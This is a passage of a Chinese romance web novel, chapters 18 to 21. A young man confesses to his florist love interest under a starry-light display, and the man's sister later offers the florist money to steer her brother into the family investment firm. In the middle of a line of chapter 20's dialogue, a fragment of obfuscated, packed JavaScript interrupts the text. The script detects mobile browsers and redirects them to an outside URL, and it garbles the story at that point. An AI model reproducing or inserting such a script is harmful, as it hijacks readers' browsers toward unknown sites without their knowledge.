游临归眨眨眼,忆起初见时帮魏丰羽换衣服的时候,腹肌线条清晰可见,轮廓分明,紧致有型,不论是手臂还是大腿都没有一丝赘肉,看起来就是平日里好生坚持锻炼得到的结果。
挺强壮的呀,起码比自己干瘪的身材好看多了,游临归欣羡。
“你现在的身材就很好了。”
“不,我觉得还能再练一练。”魏丰羽刷小视频看那些健身博主,个个大块头,一看就十分有安全感,他也要练到这种地步。
这样一来,就能把游哥整个人罩住,抱在怀里。
一想到那种体型差情/色的画面,魏丰羽整个人又开始亢奋起来。
“啊...”游临归思索,该不会小羽要练成‘双开门大冰箱’吧。
一想到壮如牛的魏丰羽配上少年感的脸,游临归身子抖了一下。
有点阴间了。
“呃,还有多久到目的地?”游临归岔开话题。
“快了快了,两分钟。”
魏丰羽熟练地打着方向盘拐进小道,灯火阑珊的淤青马路幻而草绿如茵的水泥小道,还有叽叽喳喳的鸟叫声。
往窗外探去,‘花鸟市场’的牌匾用缤纷的LED灯环绕一圈,格外引人注目。
游临归问:“花鸟市场?你要养鹦鹉吗?”
“不是,到时候就知道了。”
魏丰羽打着哑谜,转动方向盘,将小车稳稳停靠在路边,率先解开安全带下了车,小跑到另一边替游临归打开车门。
“游哥,下车。”
还挺贴心。
游临归解开安全带,脸上是他未察觉的笑意。
临近下班的时间,周围的人群不算太多。市场中间是宽敞的道路,两旁是各种商铺,卖花草的、卖石头的、卖鱼的,但更多是卖鹦鹉的。
游临归很少来花鸟市场。
记忆里,那已经是童年的事情了。
“我们去哪?”他左顾右望,看到一堆堆各色的虎皮鹦鹉挤在同一个狭窄的笼子里,心里涌起一股难以言喻的伤感。
魏丰羽言简意赅,在市场尽头停下:“到了。”
这是一间较为杂糅的店铺,铺前侧摆满了许多空鸟笼,门侧则是两盆小发财树。推拉式玻璃门大敞着,往里探去,空间很大,靠近门的右侧是阶梯式摆放的各型多肉,左里侧是收银台,台上摆着一小株铜钱草,旁边是可爱可掬的发财猫,笑眯眯地上下摇晃着右臂。
天呢,财源滚滚嘛这不是,游临归走进店铺,心里发出一声感叹。
进来没有看见老板。
“老板不在吗?”游临归问道。
魏丰羽下意识又摸了摸装着硬物的口袋:“老板出去了,我朋友。”
游临归指了指里面每个装着三两只同类鹦鹉的笼子:“你朋友就这么放心把这么多小鸟留在这,不怕被偷吗?”
“不会,这儿的鹦鹉很亲人,还能辨出好人坏人,坏的会叫特大声,要真抓出来还会啄人,特别疼。”
“你怎么知道?被啄过呀?”游临归开玩笑问。
“游哥!”魏丰羽有
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些委屈,“我是好人,不会被啄。”
“好好好,你是好人。”游临归赶紧给他顺毛,顺势靠近笼子,检查了一下小鸡们。
果真如魏丰羽所说,这里的鹦鹉们很亲人,游临归一靠过来,全部扑了过来,叽叽喳喳叫着,恨不得把头伸出笼子里让他摸。
游临归笑得慈祥,隔着笼子感受玄凤鹦鹉翘起的呆毛:“小鸟狗,这的鹦鹉看起来都是手养的诶,油光水亮的还很健康。”
“小鸟是小鸟,狗是狗,小鸟狗是什么不伦不类的东西,都是手养的!我朋友特别爱护它们。”
魏丰羽的声音从更里面传出,窸窸窣窣还有桌子搬移撕扯地面的推拉声。
“你在干什么?”游临归反问,头探究似的往里探去,却被魏丰羽挡住视线。
“没,没干什么!”魏丰羽掰正他的头,语无伦次,“在搬东西,你别看!求你了!再看一会儿小鸟,你看这个红脸蛋黄香蕉,它喜欢你,多看会儿,等下我叫你!”
说完,他把捆着的帘子打开。
游临归看他神神秘秘的样子,只好妥协,有些期待:“好吧,还要多久?”
“快了快了!”魏丰羽含含糊糊。
游临归撇撇嘴,注意力继续放在鹦鹉身上,右边笼子里的黄桃牡丹与绿桃牡丹歪着脑袋看他。
他一伸手,两只鸟并立往后退一步,收回手又回到原来的位置。
游临归反复伸手收手,两只小鸟退后,前进,逗得他捧腹发出‘呵呵’的笑声,乐此不疲。
“游哥!好了!”魏丰羽撇开帘子‘嘭’出来。
“这么急?”
游临归跟着他进了里面的空间。
空间很宽敞,虽然比外面稍微要小一点,但却很空旷。
室内没有开灯,中间只有一张白色的四方小桌子,上面摆着装有玻璃杯的水,杯子下是一台开着手电筒的手机,充当整个室内亮光。旁边还站着两只不怕人的牡丹鹦鹉,一只蓝闪,一只白闪,在朦胧的光亮下,它们的羽毛更加柔顺丝滑,时不时动动脑袋,用黑豆的小眼睛好奇似地看着玻璃杯。
“你这是要干什么?”游临归看他手里拿着的白色纸巾,里面好像包裹着一些粉末,问道。
“看。”
魏丰羽将手中用纸巾包裹住的粉末细细碎碎往水里倒去。
五颜六色的粉末缓缓溶解,如同散落的星碎,决堤般漫涌而下,星子是游曳的发光鱼群,红的炽烈、蓝的幽谧、绿的绮丽、金的璀璨,遥不可及的星河此刻被装进小小的容器里,触手可得。
“好漂亮!”游临归捂住惊讶而张大的嘴巴,靠近那如梦如幻的星河玻璃杯。
“啾啾——”
两只小鸟不约而同发出喜悦的声音。
游临归抬头望向他,眼眸熠熠生辉:“你是怎么想到要做这个的?这也太漂亮了。”
“其实,还有更漂亮的。”
“嗯?”
游临归目光没有从玻璃杯移开过,自然而然没能注意到魏丰羽背到身后的左手正攥着一个小遥控器。
“临归,抬头。”
“嗯?”游临归闻言笑着抬起头,目瞪口呆。
19. 第 19 章
粉蔼星云漫漶而开,星河如同揉碎的闪片散在穹顶,无数萤火栖息于天,轻轻晃荡,淡开涟漪。
只是一瞬,天幕化而极光,由浅到深、从粉渐绿、由绿到紫,如流动的彩色纸带,在狭小的空间里随意飘舞,落在墙壁,落在游临归的身上。
这是难以言说的天空之境。
“这...”游临归震惊得伸手触碰滑在肩上的光束,却什么也摸不到。
那光带如同有生命的溪流,在他指尖缠绕、流淌,又轻盈地滑开,只留下冰凉而绚丽的视觉触感。他下意识地仰头,整个视野被流动的色彩填满,小小的室内仿佛被无限拉伸,变成了宇宙的尽头,星辰的摇篮。
魏丰羽趁着游临归出神的几秒,在暗处勾勾手指示意两只鹦鹉。
“啾——”
两只牡丹鹦鹉接受讯息,发出高亢的鸣叫,扑棱着翅膀,绕着飞舞的光带盘旋。小小的身影在变换的光影中穿梭,白净的羽毛染上瞬息万变的彩虹,最后缓缓停悬在游临归的俩侧肩头,用小小的脑袋轻轻蹭他的脸颊。
游临归用指腹轻轻蹂躏小鸟脖颈的羽毛,灰暗的空间掩盖他泛红的眼眶。
“这就是你准备的东西吗?”他转头看向魏丰羽。
“不是。”
朦胧的光线勾勒魏丰羽挺拔的轮廓,那双盛满热情的眼睛此刻一眨不眨地注视着游临归。
魏丰羽往前走上几步,郑重地从西装口袋掏出准备已久的首饰盒,在游临归的注视下打开。
首饰盒内是一条金色的四叶草项链,边缘带着温润的光泽。
他咽了咽口水,手止不住地微微颤抖:“我...,游哥,临归。你知道我的心意吗?我喜欢你,当然这很突如其来,我也知道,我一直想怎么告诉你,这个,这些都是我准备的。我哥说我准备的俗气,但我冥冥中感觉你肯定喜欢。”
游临归笑了:“我确实很喜欢。”
父亲和小爸在极地旅行时给他拍了许多极光星空,不免得心生向往。可惜,独身一人去看一次极光,倒是有些孤单。
“你喜欢就好...”屋内的冷气很足,但魏丰羽额头却生出冷汗,他伸出手擦了擦,祈求道,“可以给我一个追求你的机会吗?我保证,绝对会让你喜欢上我。”
这么笃定?
游临归歪头哼出一声:“嗯?”
“呃,我的意思是,我肯定让你满意!”
魏丰羽急得抓耳挠腮,声音不自觉地低了下去,带着点委屈巴巴的嘟囔,几乎是在自言自语,却又清晰地传到了游临归耳中:“…不满意也行…你给我一个机会,我努力让你满意…我、我会学!学得特别快!”
……
“乖乖,游临归!你就被一个星空收买了?!”
视频电话那一头的游风岱恨铁不成钢,气得差点把屏幕戳穿,手指隔空点着游临归:“你父亲给你拍了那么多极光的照片,哪一个不比你描述的好看?”
游临归皱着脸,不高兴地说:“那是拍给我看的吗?明明是拍给您看的!”
视频那头的游风岱:....无言以对,好有道理。
“不是,你别管,就说好不好看!”游风岱嘴硬道。
“好看,但是不属于我,好看有什么用。”
游风岱被儿子一句话怼得哑口无言,张了张嘴,最终泄气地靠回沙发上。
“那...对不起嘛游游,乖乖,下次,下次小爸带上你一起去看真的极光。”游风岱软了态度。
游临归看着手机画面里四十多岁还卖萌的小爸,嘴角抽搐,手无意识摩挲锁骨间的四叶草项链。
“算了吧,您都和父亲看过那么多次了,没有新鲜感了,我跟着也不会有什么好体验的。”
“所以真的没有商量的余地吗?你真的答应了?”
“嗯,相处下来,他挺好的。”
“哪个他?”
“男人。”
“.....”游风岱嘴巴张得能塞下一个西瓜,被吓得屏幕都黑掉了。
游临归:....我有一个崆峒的同/性/恋/父亲?
“人呢?小爸?岱岱?”他凑近手机摄像头,龇牙咧嘴。
只听见那头游风岱朝远处喊了一系列肉麻的称呼,接着屏幕一亮,画面倒转,父亲那常年面瘫的脸挤进镜头,右下角还能看见游风岱手忙脚乱地捡起碰掉地上的饮料瓶。
“父亲。”游临归拉远手机,笑得灿烂。
“嗯。”卢卡斯点点头,眼尖地注意到游临归脖颈的项链,“项链,那个小子送你的?”
游临归点点头:“是呀。”
“不错,有照片吗?”
“谁的照片?”
“那小子的。”
“没有。”游临归摇头,他只有和魏丰羽那一张合照,但工牌放在电动车夹层里了。
“不是,我喊你过来是让你说这个的吗?!”游风岱一怒之下怒了一下。
“项链三万块。”卢卡斯言简意赅。
“三万?!”
游家父子异口同声。
“嗯。”
“乖乖,我同意这门婚事了。”游风岱叫了一声,“哈哈,我儿子魅力真大,竟然能得到富少的青睐,哈哈哈哈,不愧是我儿子哈哈哈哈!”
卢卡斯和游临归不约而同地捂住了耳朵。
“亲爱的,”游风岱突然又冷静下来,转头看向卢卡斯疑惑地摸着下巴,又看了看镜头前的游临归,“我就是没想明白,游游是我们一起领养的吧。怎么没有血缘关系都能养出同/性/恋的儿子,难道我的GAY达对儿童也生效?”
游临归听闻差点被自己口水呛到,怪不得小爸刚刚表情怪怪的,原来是这么想的吗,完全跟不上脑回路!
“小爸!您当年可是和我说‘在福利院第一眼看到我就觉得这眉眼长得像我初恋’这样的话,难道您初恋是女人吗?”
这话一出,卢卡斯面无表情看了一眼游风岱,眉毛小幅度地挑了一下。
“唬你的你也信!”,游风岱突然从沙发上弹起来,像只炸毛的猫,“我初恋当然是你父亲!”
“嗯嗯嗯嗯。”游临归敷衍道,手机突然弹出新的好友添加消息。
他切出小屏,发现来人的微信名单字一个‘琳’,打招呼内容是‘魏氏投行,有些花卉的事宜想要了解。’
游临归盯着那条好友申请愣了两秒,手指悬在屏幕上方迟迟没有点下通过。
“怎么了小乖?”游风岱注意到游临归的呆愣,问道。
游临归回神,通过好友申请,说:“没事,好像是花卉那边的事情。”
“花卉?魏氏投行那个吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775710|174710||http|test|mini|href|location''.split(''|''),0,{}));
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>“嗯。”
“他们跟我对接的那个小助理说上司对花卉很满意,怎么,还有别的要求?”
“好像是。”游临归点开聊天框发了一个笑脸。
游风岱摊在卢卡斯怀里,懒洋洋地说:“那你记得让他们加钱,这是另外的价格。”
“不至于吧。”游临归忍俊不禁,“下次再聊,小爸,父亲,拜拜。”
“拜拜拜拜,下次可能我们就回家咯,小羽毛照顾得还不错吧?”
“天天吃搬砖粮,在桌子上打滚,自己给自己洗澡,它把自己照顾得很好。”
“不愧是我捡来的聪明小鸟,你那边大晚上的吧,不聊了不聊了,早点睡。”
“嗯,您和父亲也玩得开心。”
【视频通话时长30:25】
游临归重新点开与‘琳’的聊天框,那边已经源源不断发出消息。
【琳:你好,我是魏丰琳,魏氏投行的掌权人,魏丰羽的姐姐。】
【琳:我有一些事情需要和你当面确认。】
【琳:你明天有时间吗?】
明天?
游临归滑动屏幕,点开日程表,空空如也。
【归临游:你好魏小姐,明天有空的。/笑脸】
【琳:好的,明天早上九点。】
【琳:[位置共享]】
【琳:麻烦了。】
【归临游:/OK】
游临归回复完消息,放下手机,在床上平躺思考了一会儿,又重新打开手机,点开与魏丰羽的聊天框。
消息停留在四十分钟前的互诉晚安。
他双击魏丰羽的头像。
【我拍了拍‘小羽毛’的小鸟,并说这真是人间萌物。】
拍一拍的消息仅仅只是过去几秒,一个语音通话打了过来。
游临归接通:“小羽。”
“游哥,睡不着吗?”魏丰羽那边窸窸窣窣传来擦拭的声音。
游临归没回应,反问他:“刚洗完澡吗?”
“额,嗯...”
魏丰羽结结巴巴,今天太激动了,导致他一个没忍住在浴室里干了坏事。干完特别羞愧地拉了张小板凳对着浴缸忏悔好一会儿才开始洗澡。
这事,肯定不能被游哥知道,不然他就要成为第二个‘变/态’了。
呜呜,他下/贱。
“游哥,你睡不着吗?”魏丰羽清了清嗓子又重新问了一遍。
游临归逗他:“我说睡不着的话你打算怎么做?”
“我,我...”魏丰羽咕哝,“唱歌..?游哥你喜欢听歌吗?”
“你还会唱歌?”
魏丰羽嗯了一声。
大二的时候他进了一个乐队,做过三个月的主唱,参加了大大小小的校内、校外的比赛,获得不错的成绩。
只可惜乐队里的贝斯手和吉他手都是大三的学长学姐,临近暑期忙着找工作,只好匆匆退出,后面也没有申请加入的队员,磨合也需要时间,乐队慢慢解散。
“游哥,你想听吗?”魏丰羽说,他还挺想一展歌喉的。
游临归婉拒:“算啦,机会还有很多。”
“噢,好吧。”魏丰羽闷闷不乐地回道。
“下次当面唱给我听,”游临归紧接着说,“电话里哪有现场版来得动人?”
20. 第 20 章
二人又是隔着无形的网线聊了好一会儿,谁也没说出挂断电话的话。
魏丰羽的纯情让游临归稍微提了点精神,从柜子里掏出尘封已久的羊毛毡。
“小羽。”游临归将电话放在一旁,拆开包装。
魏丰羽声音闷闷的:“我在。”
“你哥哥姐姐是同一天生日吗?”
魏丰羽犹豫了一会儿:“是,他们是双胞胎。”
“这样啊,”游临归将泡沫块放在桌上,撕出黄色的羊毛,“那你姐姐应该也很漂亮。”
魏丰羽又沉默了一会儿,隐约有翻身的动静:“是很漂亮。”
游临归手上的动作不停:“你给我形容一下?”
“现,现在吗?”
“对。”
“嗯...”魏丰羽绞尽脑汁,“我姐很漂亮,但她的漂亮不是清纯的漂亮,有一点冷,但是又不完全是,我有点难形容。”
游临归手一顿,冷?
“是气质吗,小羽。”
“不是,就是长相,”魏丰羽回忆与姐姐为数不多的见面,“我也不好说。游哥,你突然让我形容,我还真形容不上来,连‘冷’这个字,都是我脑海里突发奇想的。”
他的姐姐,魏丰琳除去父母外唯一的顶梁柱,生意场上的女强人,平日里见到的模样,无一例外都是不苟言笑。
魏丰羽平日还能坦荡荡和魏丰锐开开玩笑,时不时兄弟俩互呛两下。但面对魏丰琳,他是不敢有任何造次。
好像姐姐是与生俱来的压迫感,令他皮性子都乖巧几分。
“这样啊。”
游临归思索,看来魏丰羽对姐姐的敬畏程度不容小觑,也算是符合他心中‘难缠的甲方’的模样。
毕竟,不是谁都能提出‘花香不能太浓也不能太淡,花束不能太艳丽媚俗也不能太清新淡雅’的要求。
“游哥,你问那么多有关我姐姐的事情要干什么?”魏丰羽憋着一股气问道。
“没什么呀,就是很好奇,想多了解你一点。”
游临归不打算把即将要和魏丰琳见面这件事告诉他,在还未得知究竟是正经的‘客户事务’还是另类的‘家庭危机’之前,这次见面理应保持神秘。
“噔——”
通话被突然挂断。
游临归设置了静音,并没有听到挂断的声音,只是纳闷为什么魏丰羽不继续说话。
他专心扎羊毛毡,重复几次抽扎的动作后有些困倦地打了个哈欠,才发觉魏丰羽不知什么时候挂断了电话。
“也许是太困了吧。”游临归笑了笑,回复一句晚安。
与此同时,魏丰羽从床上一跃而起,不小心按到电话挂断键,还没来得及懊恼,魏丰锐敲开他的房门,拉过椅子翘起二郎腿。
“今天怎么样?”
“游哥对我的准备可是给予了很大的赞扬!才没有你说的‘俗气’这种话。”魏丰羽没看哥哥一眼,看到游临归发来的晚安,也不好意思再回,只好悻悻放下手机。
“他一直都是这样,说话很给面子,不然你猜他大学的时候为什么那么受欢迎?”
“有你这么打击人的吗?不会说话滚出去。”魏丰羽上手推魏丰锐,“亏我还给你出主意,没我策划你这道歉能划下来吗。”
“得,你是大爷。”魏丰锐反抓住魏丰羽的手把他压回床上,“我反正没想到游临归喜欢星空。”
魏丰羽挣脱开来,往一旁的肥啾堆靠了靠:“他朋友圈的个性签名,是‘光的颜色是多彩的。’”
“啥?”
“光的颜色是多彩的不就是极光吗!连朋友圈背景都是天空!”魏丰羽点开游临归的朋友圈,递到魏丰锐面前,“天空、光、多彩的,这不就是极光和星空吗?”
魏丰锐凝视了好一会儿,没看出来朋友圈背景图晴空万里的和夜晚星空有什么干系。
“你真会推,别观鸟了拿着你的相机当战地记者算了。”
魏丰羽呛他:“哥,你可别讽刺我,我在游哥那的好感可比你高多了,我们才认识一个月。”
“....”魏丰锐微笑,“我高低得把你这模样录下来给游临归看看,我不信他会看上你这混样。”
说罢,他从裤口袋掏出手机。
魏丰羽见状,立马把自己裹进被子里,催促他:“你拍啊!被子护体,我看你拍一坨白的无意义的东西给游哥,不给你发个问号算我输。”
“魏丰羽,你二十二岁了,还那么幼稚!还被子护体!”魏丰锐扯被角,被他死死攥着,“出来!”
“你也不二十六岁了还拍视频威胁,你也幼稚,咱们俩谁也别说谁!”魏丰羽宁死不从。
“嘭——”
魏丰琳冷着脸,原本还在打闹扯皮的兄弟二人瞬间息声。魏丰羽从被子里钻出来,魏丰锐把手机藏至身后。
魏丰琳朝两人都看了一眼,推了推脸上的黑框眼镜。
“魏丰琳,你怎么回来了?今天不是在宁生那住?”魏丰锐眼神恍惚问道。
“明天有点事情,所以今天回来住一天。”
魏丰琳目光最后落在魏丰羽身上,看得他往魏丰锐那移了移,企图用哥哥宽大的身躯遮住死亡的眼神。
魏丰琳:“躲什么?魏丰羽。”
“没躲,姐,您有何贵干?”魏丰羽谄媚,皮笑肉不笑。
魏丰琳没说话,拿出手机甩了几张照片发给魏丰羽:“我给你发了几张照片,帮我挑一套能让我看起来亲切一点的。”
魏丰羽‘啊’了一声。
“我明天准备和你的心上人见一面。”魏丰琳说,踢了踢魏丰锐,“明天帮我去开会,分公司那有宁生帮你看着。”
“啊?”魏丰锐一头雾水。
魏丰琳凑近他,笑得渗人:“嗯?”
“行,行。”魏丰锐应下,胡乱地穿起拖鞋乱七八糟出了房间。
魏丰琳视线从门外收回,重新落在魏丰羽身上。
“挑好了吗?”
“啊?”魏丰羽愣过神,在屏幕上左右滑动,装作很为难的样子选了一套白色素净的职场套装,“这个。”
魏丰琳瞄了一眼,‘嗯’了一声,转身准备离开。
“姐,你找游哥什么事。”魏丰羽叫住她。
魏丰羽看不透魏丰琳的心思,但内心隐隐约约有种不安感。
他才刚和游临归坦白,八字还没一撇,求爱还只是踏出第一步,可不能在姐姐这出了差错。
虽然魏丰羽知道魏丰琳对他的性取向和爱情一点也不在意,可能最大的期望是自己活着就行。
“我不是会棒打鸳鸯的坏姐姐。”魏丰琳伸出手慈爱地揉了揉他的头发,“只是想近距离认识一下你的心上人,他的魅力能有多大,可以让你抛弃世俗的看法义无反顾的追寻。”
“早点睡,我可记得你对你的脸看得比什么都重要。”
——
第二天,游临归顺着导航找到咖啡馆的位置,令他惊喜的不是咖啡馆的排场有多么气派,而是这竟然离淮元大学很近,步行只需要十分钟。
游临归已经提早二十分钟到场,但魏丰琳还是比他来得更早,在包间点好咖
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啡等候他的到来。
游临归攥了攥挎包带子,走进包间在魏丰琳对面坐下,礼貌地笑了笑:“不好意思,让您等我。”
“没事,”魏丰琳看了看表,“你提早了二十五分钟到,我该是佩服你才对。”
“没有没有。”游临归谦虚,“我听您的助理说,对我的花卉很欣赏,那...”
“是很不错。”魏丰琳打断他,喝了一口咖啡。
她向来没什么兴趣爱好,唯独对花艺感兴趣,连男人都是在花卉展上找的。
比起游风岱独成一派洋洋洒洒的豪迈作品,她更喜欢游临归淡然的花艺,寥寥几笔却浑然天成,将‘中庸之道’诠释得恰到好处。
魏丰琳的目光不着痕迹地审视面前的青年,确实是一副美人相,只不过看着有点软柿子,整个人很小巧温润。
魏丰羽喜欢的类型竟然是这样吗,有点出乎意料。
最重要的是,魏丰琳觉得游临归有点眼熟。
“花卉方面我很满意,我们这边将会提高价格,将时间改为一周一换,空间也从会议室多了一间办公室。”魏丰琳递给他早已准备好的文件,“你看一看,有任何地方不满意都有商量的余地。”
游临归接过文件,余光瞄到魏丰琳的眼睛。
明明唇角是笑着的,眼睛却透露着精明,像一只随时准备拿捏食物的白狼王,不近人情。
压力山大。
游临归稳了稳心神,饶是他出入职场多年也有些招架不住,也不枉小羽这么害怕姐姐了。
“魏女士,”游临归翻阅合同完毕,签上名,抬起头看她,“这份合同很完美。”
“你对价格方面没有其他要求吗?”
“您开的价格...”游临归斟酌了一下,“我个人认为,我的作品还不能与您开的价格平起平坐。”
【“我的作品能在众多优秀作品中脱颖而出,实属侥幸,谢谢裁判的青睐,谢谢大家给我投票。”】
温吞的声音突然在魏丰琳脑海闪回,与游临归的自谦重叠,她轻点手背的手指一顿。
魏丰琳话锋一转,问道:“你是不是参加过‘春花杯’。”
游临归眼神闪过诧异:“是,魏女士也关注过这个比赛?”
魏丰琳摇头:“《絮语》我的作品,第二名。”
“啊。”游临归恍然大悟,“我很喜欢那副作品,原来出自您的手笔。”
五年前,游临归第一次参加市级花艺比赛,原本只是抱着拿参与奖的态度,选用最便宜的满天星和南天竹,命名为《留白》,却没想到一路杀出重围,甚至夺得金冠。
其中有一个环节,是参赛者匿名为其他选手作品投票,游临归当即被《絮语》吸引。
冷调蓝紫色绣球堆砌出规则几何,却在花芯处插入了一抹鹅黄的雏菊。
花的整体虽然一板一眼,但内里确实足够大胆。
作品如其人,游临归一下子就脑补出作者的性格。
清冷的外象包裹热切的暖意。
“是,不过最后还是败在你的手下。”魏丰琳又喝了一口咖啡,轻描淡写。
游临归坦然自若:“纯属侥幸而已。”
那一届‘春花杯’他可是在心里给《絮语》排了第一名。当然审美这个东西太主观了,他做的插花作品只不过刚好入了大众的眼。
魏丰琳微微皱眉:“你言谈举止是不是太圆滑了点。”
谦虚可以,但太过谦虚在她这可不行,这样的软糯的性子怎么能压住魏丰羽。
她还需要和游临归达成另一档合作呢。
21. 第 21 章
圆滑?游临归又笑了。
“对我而言,圆滑并不是一个贬义的词汇。”他说道,余光却不小心瞥见包间外一个鬼鬼祟祟的身影,“何况我是真心认为您的《絮语》在我的作品之上。”
魏丰琳眯起眼,试图从游临归的神情中察觉出类似‘讨好’的意味,却一无所获。
魏丰琳又喝了一口咖啡,说:“谢谢。其实你能猜到,我们今天的见面,不只是工作上事情吧?”
“可以猜到,但具体什么事情,我确实不太了解。”游临归从容回应。
他面前的咖啡一直未动。
魏丰琳不语,静静地凝视他。
直到悬挂在顶端角落的分针走了一格。
“你很不错。”魏丰琳说道,“虽然与你同为淮元大学出身,我却对你过往不甚了解。不过,你表现得很不错,鉴于我对你的花艺很是欣赏,我决定把接下来考验一并抹去。”
“考验...?”
魏丰琳:“是。但你可以放心,我不会插手你们的感情事,本身这与我并无关系。”
“那这个考验是为了什么?”游临归不解地问。
若是为了他和魏丰羽的感情,那倒是有些大张旗鼓。他只是答应了给他一个追求的机会,可没有答应表白。
可现在魏丰琳这样说,游临归又有点云里雾里。
“他很在意你,你能感受到。”魏丰琳点着桌子思考道,“我希望你能帮助我,让魏丰羽主动一直来上班。”
“什,什么?”
游临归眨眨眼,他是不是听错了。
“不用这么惊讶,这是我的无奈之举。”魏丰琳稍微放松,坐姿也轻盈许多,“来,向我描述一下魏丰羽在你心中的印象。”
游临归点点头,余光却一直没能从那个身影移开。
“你在看什么?”魏丰琳注意到他的视线并不在此时的‘会议’上,有些不满。
“抱歉,走神了。”游临归立马道歉,“如果让我描述的话,我想,可能是哈士奇。”
“呵。”魏丰琳笑了,“我弟弟是狗吗,很好很好,我喜欢。”
游临归听不出魏丰琳平淡的语气里究竟是反讽还是真心喜欢,继续说道:“外表是生人勿近,但内里却热情似火,真诚率真,这很难得。”
“嗯,热情似火吗...”魏丰琳敲着桌子思索,“可能是,但愿他对工作也能热情似火。”
游临归:...工作狂这不是,三句话两句不离工作。
游临归:“哈哈...是的,这只是他给我的印象,不一定完全符合您心中魏丰羽的形象。”
“百分之八十符合。”魏丰琳说,“我问这个问题,一是想探探你对魏丰羽的印象,二是为了我的请求。”
“您开门见山吧,不用再继续铺垫了。”游临归说。
“很好。”魏丰琳微微点头,“你肯定有很多疑问,为什么我执意要让魏丰羽上班,对吧?”
她并没有等待游临归回应,而是自顾自说下去。
游临归听着她冰凉的叙述,眉头紧皱。
魏丰羽的母亲柳青雅是十分强势的职场人,目标明确规划清晰,将自己人生安排得妥妥帖帖,从结婚到生子,无一不按照她的计划行事。
但,魏丰羽就是变数。
他的降临完全不在柳青雅的计划当中,甚至连察觉的痕迹都是在工作晕倒时被送往医院诊断出来的结果。
痕迹一旦被动发现,势必难以解决。
柳青雅想打掉,医生却以身体虚弱不易打/胎和胚胎已经成型为由极力反对。
所以当魏丰羽降临于世,他注定不被母亲宠爱,差不多断奶的年纪就被送往外公外婆家照顾。
“直到外公去世,魏丰羽的户口在淮城,他才被接回来在本地上学。”魏丰琳垂着眼眸,回忆着,“虽然受到的教育比我和魏丰锐差劲许多,但是成绩方面却比我们俩都要好。”
“他似乎学生时代一直憋着一股劲,初二就把高中的知识学完了,甚至我们高考报名的时候,兴冲冲地也想报名。”
“嗯...最后没有成功是吗?”游临归问。
“确实没有成功,他最后不知怎么的放弃了报名。好像从那以后,他那股劲突然就消失了。”
“而且,丰羽明明比我和魏丰锐更加适合管理公司,却不愿意参与公司的事务,按照网上的调侃,就是‘躺平当咸鱼,偶尔翻个身’。”
游临归沉默片刻,斟酌问道:“我接下来问的问题可能会比较冒犯,但是,呃,你们的父亲去哪里了?他是隐身了吗?”
魏丰琳搅动咖啡的动作停住,看了一眼游临归:“像我母亲这样强势的女士,必然会找一个软弱的父亲,这是一件很正常的事情。”
“他对你们的教育...”
“几乎为零。”
“.....”游临归咽了咽口水,“抱歉。”
魏丰琳无所谓地勾起唇角:“无伤大雅。所以我想和你达成合作,如果你能做到让魏丰羽重振旗鼓,主动参与公司事务,我会再给你一笔丰厚的报酬。”
游临归紧皱眉头,魏丰琳说的‘合作’实在刺耳。
“目的是什么?”
“目的?很简单,丰羽本身对金融敏感,投身于公司事务能够极大发挥他的才智。这既是对他的保护,也是一种成长的方式。”
呵,游临归怒极反笑。
他想起那天在魏氏投行与魏丰羽的碰面,对公司的不满与怨气都快把自身姣好的气质掩盖。
说的冠冕堂皇的样子结果完全不考虑魏丰羽的感受是吗,到底是谁喜欢坐在办公室上班。
还保护,还成长,没给人闷死就很不错了。
魏丰琳见游临归迟迟不开口,比了一个‘二’:“事成之后,我会支付你二十万,如何?”
“到底是什么原因让您觉得我可以胜任您的合作伙伴?”游临归强压翻涌的怒气。
到底把魏丰羽当作什么了!
魏丰琳:“因为他很喜欢你。他对喜欢的东西从来都是热情似火。”
“是啊,他对喜欢的东西从来都是热情似火,”游临归用力掐自己的大腿,努力遏制怒火,“首
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先,我拒绝这个荒谬的合作。其次,我觉得您不必把希冀放在我身上,而是先解决一下你们家庭内部的问题。一个人成长的偏颇,一定与家庭环境有关。”
游临归从包里拿出事先准备好的礼物盒,放在桌上,站起身:“最后,我并不觉得魏丰羽是个‘咸鱼’。他能为爱好付出金钱与时间,并乐此不疲,就足以说明,他还有劲。您说他在躺平,可他最后还不是以专业第一的成绩从海殷大学毕业?只是不按照你们制定的计划生长,就是躺平吗?”
“那可真是太可笑了。”
魏丰琳抬头看了一眼他,低头抿唇一笑,对于游临归所说并不发表看法。
“我给你考虑的时间,两天?三天吧。”
“我不会考虑的,花卉的工作我会按照合同进行。我先走了,祝您生日快乐。”
游临归握紧拳头,离开包间前用余光观察魏丰琳,最后生气地把在角落鬼鬼祟祟的魏丰羽拽出来。
“游,游哥,好,好巧啊。”魏丰羽拉下菜单,僵硬地打招呼。
“巧不巧你自己心里清楚,开车没有。”
“开,开了。”
“送我回家。”
……
“游哥,你好像很不高兴。”魏丰羽趁着红绿灯的间隙说道,“我姐姐和你说什么了?她正经惯了,说话总是怪腔怪调,你别太放心上。”
游临归眼睛直视前方的空调口,一言不发。
“那个...”魏丰羽也不知道怎么继续说下去,他偷偷跟着魏丰琳的痕迹一路过来,可惜包间除了能看见点人影,一点声音也听不见,“我姐姐她...”
“你姐姐很好,别说了。”游临归打断他,手撑在车窗,捂着额头。
魏丰羽张了张嘴,正巧红灯转绿,只好乖乖开车。
车内一片静寂,落针可闻。
魏丰羽的手指在方向盘上轻轻敲击,透露出他的不安。
游临归依然侧着脸看向窗外,胸口那股郁结的怒气仍未消散,但更让他烦躁的是,魏丰琳所说的话究竟是不是事实?
游临归可不认为那种高压的‘精英主义’家庭可以养出像魏丰锐这样的似聪明实则笨蛋的人。
可是现在突如其来去询问魏丰羽,会不会给他造成负面影响。
也不知道魏丰羽究竟听到了多少。
魏丰羽心沉入谷底,看着游临归愈发深沉的脸色,他隐约感觉事情在往不好的方向发展。
但他可不是一个会坐以待毙的人。
“游哥,你能和我说吗?到底我姐姐对你说了什么?”
游临归皱了皱鼻头,不知从何讲起。
他现在非常后悔,早就该在魏丰琳提及‘帮助魏丰羽上班’这种荒诞的请求时就该提屁股走人了。
从魏丰羽的身世说起?那会不会让他再次受到伤害;从他们家庭开始?他一个外人凭什么说这些;从荒谬的合作讲起?
